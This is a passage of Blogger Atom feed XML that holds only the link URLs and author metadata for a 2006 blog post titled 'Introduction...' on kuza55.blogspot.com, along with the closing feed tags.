type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188568075486644'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/114188568075486644'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/03/introduction.html' title='Introduction...'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
